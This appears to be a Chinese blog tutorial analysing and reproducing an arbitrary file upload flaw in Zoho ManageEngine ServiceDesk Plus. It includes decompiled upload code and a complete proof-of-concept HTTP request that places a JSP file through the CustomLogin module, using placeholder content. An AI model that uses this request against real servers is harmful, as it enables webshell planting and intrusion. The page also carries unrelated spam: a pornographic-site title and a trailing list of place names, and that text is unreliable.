91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

怎樣分析及復現Zoho 任意文件上傳漏洞

發布時間:2021-12-28 20:07:15 來源:億速云 閱讀:147 作者:柒染 欄目:安全技術

怎樣分析及復現Zoho 任意文件上傳漏洞,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細講解,有這方面需求的人可以來學習下,希望你能有所收獲。

漏洞簡介

Zoho企業的產品 Zoho ManageEngine ServiceDesk Plus 是一套IT互聯網服務管理軟件,擁有資產管理、采購管理、合同管理等功能模塊,提供一流的IT支持服務。

ServiceDesk Plus10.0 build 10012之前的版本產品存在任意文件上傳漏洞。具體來說,SDJSPClasses.jar包的FileAttachment_jsp.class僅檢查module參數為“SSP”、“DashBoard”、“HomePage”時的上傳文件類型,而未檢查module參數為“CustomLogin”時的上傳文件類型,導致惡意分子采用低權限guest用戶即能上傳、并任意訪問jsp類可執行命令的腳本文件。

受影響產品

Zohocorp ManageEngine ServiceDesk Plus

受影響版本

9.4 and 10.0 before 10.0 build 10012

修復版本

version>=10.0 build 10013

漏洞驗證環境

  • Ubuntu16.04(服務器

  • Windows 10(攻擊機)

漏洞分析與利用

分析文件上傳邏輯,確定缺陷位置并上傳文件。

第一步,在服務端安裝 Zohocorp ManageEngine ServiceDesk Plus 10.0 build 10000,隨后啟動服務,下圖表示啟動成功。

怎樣分析及復現Zoho 任意文件上傳漏洞

第二步,在攻擊機中,采用 Burp Suite 捕獲低權限guest用戶的cookie信息和數據包,以便開展后續POC的構建工作,如下。

怎樣分析及復現Zoho 任意文件上傳漏洞

怎樣分析及復現Zoho 任意文件上傳漏洞

第三步,分析服務端文件上傳核心代碼打開\ManageEngine\ServiceDesk\lib\SDJSPClasses.jar! \org\apache\jsp\common\FileAttachment_jsp.class,核心的文件上傳檢測代碼和注釋信息如下。

if (sizeOfFile < maxSize) {limitExceeded = false;filePath = "Attachments" + filSep + module + filSep + value;//                                            如果module參數是"CustomLogin",則直接將文件上傳至路徑"../custom/login"if (module.equals("CustomLogin")) {filePath = ".." + filSep + "custom" + filSep + "login";}File uploadedFile = new File(filePath + filSep + fileName);//                                            如果module參數是"SSP"、"DashBoard"、"HomePage",則檢查文件后綴是否是“htm”或“html”,如不是,則拒絕上傳if (module.equals("SSP") || module.equals("DashBoard") || module.equals("HomePage")) {String ext = "";int i = fileName.lastIndexOf(46);if (i > 0) {ext = fileName.substring(i + 1);if (!ext.equals("htm") && !ext.equals("html")) {out.write("\n         <li id='sspattachresponse'>ssp.widget.onAttachEmpty</li>");out.write("\n      ");return;}filSep = "/";filePath = ".." + filSep + "custom" + filSep + "widgets" + filSep + module;if (module.equals("DashBoard")) {String view = request.getParameter("view");filePath = ".." + filSep + "custom" + filSep + "widgets" + filSep + module + filSep + view;}uploadedFile = new File(filePath + filSep + fileName);int attIndex = false;int attIndex = fileName.lastIndexOf(".");String name = fileName;ext = "";if (attIndex != -1) {name = fileName.substring(0, attIndex);ext = fileName.substring(attIndex);}int j = 0;String fileName1;for(fileName1 = fileName; uploadedFile.exists(); uploadedFile = new File(filePath + filSep + fileName1)) {fileName1 = name + "(" + j + ")" + ext;++j;}fileName = fileName1;}}File mkdir = new File(filePath);mkdir.mkdirs();item.wri

分析可知,服務器首先判斷module參數是否為“CustomLogin”,如是,則可直接上傳任意類型的文件至服務端,程序執行完畢;否則繼續執行代碼,進入 module 參數屬于 "SSP"、"DashBoard"、"HomePage" 的判別過程。如果module 參數為 "SSP"、"DashBoard" 或 "HomePage",則進行安全過濾僅可上傳 “htm”、“html” 類型文件至服務端。因此,當 module 參數是 “CustomLogin” 時,可以上傳 jsp 腳本文件。

第四步,構造 PoC在 Burpsuite 中,構造數據包如下。

POST /common/FileAttachment.jsp?module=CustomLogin&view=Dashboard1 HTTP/1.1Host: 192.168.6.135:8081Content-Length: 366Accept: */*Origin: http://192.168.6.135:8081X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Content-Type: multipart/form-data; boundary=----aaaReferer: http://192.168.6.135:8081/DashBoard.doAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9,vi;q=0.8Cookie: sdpcsrfcookie=bd678a1d-28b9-4eae-9d5d-f3a7e6f0bd88; servicedeskplus-_zldp=LsfUh%2FKeku9L3s3nPEJp8WNr%2BtCatkARgcAlZRum6ctL03zZZshSooiaABpQbhelmKwM1K1ctjo%3D; servicedeskplus-_zldt=01bc454f-6f2a-492e-889a-6d6b6ffde97d-2; SDPSESSIONID=B7BB216915E8FB5476DA8774161B9474; JSESSIONID=A7BEE85ED00E1AD81BB9E8081BA49D7D; JSESSIONIDSSO=601A38BD1F283CA55D289D78564E09CAConnection: close------aaaContent-Disposition: form-data; name="sspsetup"Attach------aaaContent-Disposition: form-data; name="module"CustomLogin------aaaContent-Disposition: form-data; name="filePath"; filename="test.jsp"Content-Type: text/htmlThis is shell content------aaaContent-Disposition: form-data; name="hmtlcontent"------aaa--

分析可知,訪問擁有文件上傳功能的核心代碼,設置 module 參數為 “CustomLogin”,在內容欄設置test.jsp文件的內容是 “This is shell content”。

第五步,訪問腳本文件重新啟動服務后,直接訪問腳本文件。例如http://192.168.6.135:8081/custom/login/test.jsp,如下。

怎樣分析及復現Zoho 任意文件上傳漏洞

觀察可知,成功訪問腳本文件,說明任意文件上傳成功。

看完上述內容是否對您有幫助呢?如果還想對相關知識有進一步的了解或閱讀更多相關文章,請關注億速云行業資訊頻道,感謝您對億速云的支持。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

萨迦县| 乐山市| 绥棱县| 浙江省| 修水县| 松桃| 崇仁县| 高台县| 平和县| 伊宁市| 安龙县| 香港| 诸暨市| 潞西市| 鹤岗市| 乡宁县| 京山县| 鄂州市| 诸城市| 沐川县| 周口市| 邵东县| 兴安县| 余庆县| 宁阳县| 遵义县| 锦州市| 车险| 廊坊市| 鸡泽县| 米易县| 营口市| 永昌县| 基隆市| 郯城县| 绿春县| 南皮县| 闽清县| 乐陵市| 新乡市| 云南省|